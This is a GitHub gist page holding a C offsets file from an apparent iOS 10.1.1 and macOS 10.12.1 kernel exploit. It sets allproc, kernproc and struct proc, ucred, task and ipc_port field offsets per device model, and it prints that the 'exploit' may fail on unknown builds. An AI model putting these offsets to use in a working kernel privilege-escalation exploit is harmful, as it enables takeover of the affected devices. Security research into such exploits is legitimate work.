-
-
Save devbug/cb698d1b3fd6ec666a1192552020b863 to your computer and use it in GitHub Desktop.
Proper Indentation
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#include <strings.h> | |
#include <sys/utsname.h> | |
#include "offsets.h" | |
// offsets from the main kernel 0xfeedfacf | |
uint64_t allproc_offset; | |
uint64_t kernproc_offset; | |
// offsets in struct proc | |
uint64_t struct_proc_p_pid_offset; | |
uint64_t struct_proc_task_offset; | |
uint64_t struct_proc_p_uthlist_offset; | |
uint64_t struct_proc_p_ucred_offset; | |
uint64_t struct_proc_p_comm_offset; | |
// offsets in struct kauth_cred | |
uint64_t struct_kauth_cred_cr_ref_offset; | |
// offsets in struct uthread | |
uint64_t struct_uthread_uu_ucred_offset; | |
uint64_t struct_uthread_uu_list_offset; | |
// offsets in struct task | |
uint64_t struct_task_ref_count_offset; | |
uint64_t struct_task_itk_space_offset; | |
// offsets in struct ipc_space | |
uint64_t struct_ipc_space_is_table_offset; | |
// offsets in struct ipc_port | |
uint64_t struct_ipc_port_ip_kobject_offset; | |
#pragma mark - arm64 | |
void init_arm64_10_1_1() { | |
struct_proc_p_pid_offset = 0x10; | |
struct_proc_task_offset = 0x18; | |
struct_proc_p_uthlist_offset = 0x98; | |
struct_proc_p_ucred_offset = 0x100; | |
struct_proc_p_comm_offset = 0x26c; | |
struct_kauth_cred_cr_ref_offset = 0x10; | |
struct_uthread_uu_ucred_offset = 0x168; | |
struct_uthread_uu_list_offset = 0x170; | |
struct_task_ref_count_offset = 0x10; | |
struct_task_itk_space_offset = 0x300; | |
struct_ipc_space_is_table_offset = 0x20; | |
struct_ipc_port_ip_kobject_offset = 0x68; | |
} | |
#pragma mark - macOS | |
void init_macos_10_12_1() { | |
printf("setting offsets for MacOS 10.12.1\n"); | |
allproc_offset = 0x8bb490; | |
kernproc_offset = 0x8BA7D8; | |
struct_proc_task_offset = 0x18; | |
struct_proc_p_uthlist_offset = 0x98; | |
struct_proc_p_ucred_offset = 0xe8; | |
struct_proc_p_comm_offset = 0x2e4; | |
struct_kauth_cred_cr_ref_offset = 0x10; | |
struct_uthread_uu_ucred_offset = 0x168; | |
struct_uthread_uu_list_offset = 0x170; | |
struct_task_ref_count_offset = 0x10; | |
struct_task_itk_space_offset = 0x300; | |
struct_ipc_space_is_table_offset = 0x18; | |
struct_ipc_port_ip_kobject_offset = 0x68; | |
} | |
#pragma mark - iOS | |
#define init_iOS_10_1_1_S5L8960X() { \ | |
allproc_offset = 0x5a4128; \ | |
kernproc_offset = 0x5aa0e0; \ | |
} | |
#define init_iOS_10_1_1_T7000() { \ | |
allproc_offset = 0x5b4168; \ | |
kernproc_offset = 0x5ba0e0; \ | |
} | |
#define init_iOS_10_1_1_T7001() { \ | |
allproc_offset = 0x5b4228; \ | |
kernproc_offset = 0x5ba0e0; \ | |
} | |
#define init_iOS_10_1_1_S8000() { \ | |
allproc_offset = 0x5a4148; \ | |
kernproc_offset = 0x5aa0e0; \ | |
} | |
#define init_iOS_10_1_1_T8010() { \ | |
allproc_offset = 0x5ec178; \ | |
kernproc_offset = 0x5f20e0; \ | |
} | |
//here end | |
void unknown_build() { | |
printf("This is an unknown kernel build - the offsets are likely to be incorrect and it's very unlikely this exploit will work\n"); | |
printf("You need to find these two kernel symbols:\n"); | |
printf(" allproc\n"); | |
printf(" kernproc\n\n"); | |
printf("and update the code\n"); | |
} | |
#pragma mark - init_offsets | |
void init_offsets() { | |
struct utsname u = { 0 }; | |
int err = uname(&u); | |
if (err == -1) { | |
printf("uname failed - what platform is this?\n"); | |
printf("there's no way this will work, but trying anyway!\n"); | |
init_arm64_10_1_1(); | |
init_iOS_10_1_1_S5L8960X(); | |
return; | |
} | |
printf("sysname: %s\n", u.sysname); | |
printf("nodename: %s\n", u.nodename); | |
printf("release: %s\n", u.release); | |
printf("version: %s\n", u.version); | |
printf("machine: %s\n", u.machine); | |
#pragma mark - iDevice | |
# define check_iOS_AP(v, name) \ | |
if (strstr(u.version, #name)) { \ | |
printf("device %s matched\n", u.machine); \ | |
init_iOS_ ## v ## name(); \ | |
return; \ | |
} | |
if (strstr(u.version, "root:xnu-3789.22.3~1/RELEASE_ARM64")) { | |
init_arm64_10_1_1(); | |
check_iOS_AP(10_1_1, _S5L8960X); | |
check_iOS_AP(10_1_1, _T7000); | |
check_iOS_AP(10_1_1, _T7001); | |
check_iOS_AP(10_1_1, _S8000); | |
check_iOS_AP(10_1_1, _T8010); | |
} | |
printf("don't recognize this platform\n"); | |
unknown_build(); | |
init_arm64_10_1_1(); | |
init_iOS_10_1_1_S5L8960X(); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment